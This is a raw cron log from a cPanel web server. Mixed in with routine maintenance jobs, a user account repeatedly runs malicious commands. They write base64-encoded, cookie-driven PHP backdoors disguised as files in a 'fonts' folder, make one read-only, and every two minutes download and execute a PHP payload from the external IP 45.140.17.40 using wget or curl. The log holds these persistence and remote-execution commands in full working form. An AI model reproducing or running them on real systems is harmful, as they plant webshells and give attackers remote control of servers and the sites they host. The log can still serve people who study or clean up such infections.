Aug 30 13:43:01 ip-184-168-122-23 CROND[22868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:43:01 ip-184-168-122-23 CROND[22870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:44:01 ip-184-168-122-23 CROND[22964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:44:01 ip-184-168-122-23 CROND[22965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:44:01 ip-184-168-122-23 CROND[22967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:44:01 ip-184-168-122-23 CROND[22970]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:44:01 ip-184-168-122-23 CROND[22969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:45:02 ip-184-168-122-23 CROND[23103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:45:02 ip-184-168-122-23 CROND[23104]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:45:02 ip-184-168-122-23 CROND[23105]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:45:02 ip-184-168-122-23 CROND[23106]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:45:02 ip-184-168-122-23 CROND[23108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:45:02 ip-184-168-122-23 CROND[23110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:46:01 ip-184-168-122-23 CROND[23201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:46:01 ip-184-168-122-23 CROND[23203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:46:01 ip-184-168-122-23 CROND[23207]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:46:01 ip-184-168-122-23 CROND[23204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:46:01 ip-184-168-122-23 CROND[23205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:46:01 ip-184-168-122-23 CROND[23206]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 13:46:01 ip-184-168-122-23 CROND[23208]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 13:47:01 ip-184-168-122-23 CROND[23400]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:47:01 ip-184-168-122-23 CROND[23402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:47:01 ip-184-168-122-23 CROND[23401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:47:01 ip-184-168-122-23 CROND[23404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:48:01 ip-184-168-122-23 CROND[23487]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:48:01 ip-184-168-122-23 CROND[23489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:48:01 ip-184-168-122-23 CROND[23488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:48:01 ip-184-168-122-23 CROND[23492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:48:01 ip-184-168-122-23 CROND[23494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:49:01 ip-184-168-122-23 CROND[23574]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Aug 30 13:49:01 ip-184-168-122-23 CROND[23575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:49:01 ip-184-168-122-23 CROND[23576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:49:01 ip-184-168-122-23 CROND[23577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:49:01 ip-184-168-122-23 CROND[23578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:50:01 ip-184-168-122-23 CROND[23683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:50:01 ip-184-168-122-23 CROND[23682]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:50:01 ip-184-168-122-23 CROND[23685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:50:01 ip-184-168-122-23 CROND[23686]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 13:50:01 ip-184-168-122-23 CROND[23687]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:50:01 ip-184-168-122-23 CROND[23690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:50:01 ip-184-168-122-23 CROND[23694]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 13:50:01 ip-184-168-122-23 CROND[23693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:50:01 ip-184-168-122-23 CROND[23692]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:51:01 ip-184-168-122-23 CROND[23805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:51:01 ip-184-168-122-23 CROND[23806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:51:01 ip-184-168-122-23 CROND[23808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:51:01 ip-184-168-122-23 CROND[23807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:52:01 ip-184-168-122-23 CROND[23899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:52:01 ip-184-168-122-23 CROND[23901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:52:01 ip-184-168-122-23 CROND[23902]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:52:01 ip-184-168-122-23 CROND[23904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:52:01 ip-184-168-122-23 CROND[23903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:53:01 ip-184-168-122-23 CROND[24000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:53:01 ip-184-168-122-23 CROND[24001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:53:01 ip-184-168-122-23 CROND[24002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:53:01 ip-184-168-122-23 CROND[24003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:54:01 ip-184-168-122-23 CROND[24095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:54:01 ip-184-168-122-23 CROND[24097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 13:54:01 ip-184-168-122-23 CROND[24098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:54:01 ip-184-168-122-23 CROND[24099]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 13:54:01 ip-184-168-122-23 CROND[24100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:55:01 ip-184-168-122-23 CROND[24190]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 13:55:01 ip-184-168-122-23 CROND[24194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
